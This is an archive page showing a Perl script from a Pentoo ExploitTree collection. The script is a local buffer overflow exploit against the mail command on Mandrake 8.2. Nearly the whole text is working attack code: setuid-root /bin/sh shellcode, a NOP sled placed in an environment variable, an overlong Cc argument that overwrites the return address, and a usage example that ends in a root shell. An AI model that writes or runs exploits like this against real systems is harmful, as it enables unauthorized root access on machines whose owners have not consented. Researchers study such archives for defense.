home *** CD-ROM | disk | FTP | other *** search
/ Chip 2007 January, February, March & April / Chip-Cover-CD-2007-02.iso / Pakiet bezpieczenstwa / mini Pentoo LiveCD 2006.1 / mpentoo-2006.1.iso / livecd.squashfs / opt / pentoo / ExploitTree / system / linux / local / d86mail.pl < prev    next >
Perl Script  |  2005-02-12  |  1KB  |  44 lines

  1. #!/usr/bin/perl
  2. ###############################
  3. # Mandrake 8.2 /usr/mail local exploit
  4. #
  5. # Usage:
  6. # perl d86mail.pl [offset]
  7. # Then enter "." (dot) and press 'Enter'
  8. #
  9. # Example:
  10. # [satan@localhost my]$ perl d86mail.pl
  11. # eip: 0xbffffddd
  12. # .[enter]
  13. # Cc: too long to edit
  14. # sh-2.05$
  15. ###############################
  16.  
  17. $shellcode =
  18.    "\x31\xdb\x89\xd8\xb0\x17\xcd\x80" .
  19.    "\x31\xdb\x89\xd8\xb0\x2e\xcd\x80" .
  20.    "\xeb\x1f\x5e\x89\x76\x08\x31\xc0\x88\x46\x07\x89\x46\x0c\xb0\x0b" .
  21.    "\x89\xf3\x8d\x4e\x08\x8d\x56\x0c\xcd\x80\x31\xdb\x89\xd8\x40\xcd" .
  22.    "\x80\xe8\xdc\xff\xff\xff/bin/sh";
  23. $size = 1000;
  24. $size2 = 8204;
  25. $retaddr = 0xbffffddd;
  26. $nop = "\x90";
  27. $offset = 0;
  28. if (@ARGV == 1) {
  29.   $offset = $ARGV[0];
  30. }
  31. for ($i = 0; $i < ($size - length($shellcode) - 4); $i++) {
  32.    $buffer .= $nop;
  33. }
  34. for ($i = 0; $i < ($size2); $i++) {
  35.    $buffer2 .= "A";
  36. }
  37. $buffer .= $shellcode;
  38. print "eip: 0x", sprintf('%lx',($retaddr + $offset)), "\n";
  39. local($ENV{'EVILBUF'}) = $buffer;
  40. $newret = pack('l', ($retaddr + $offset));
  41. $buffer2 .= $newret;
  42. exec("mail -s wow -c $buffer2 root@localhost");
  43.  
  44. #EOF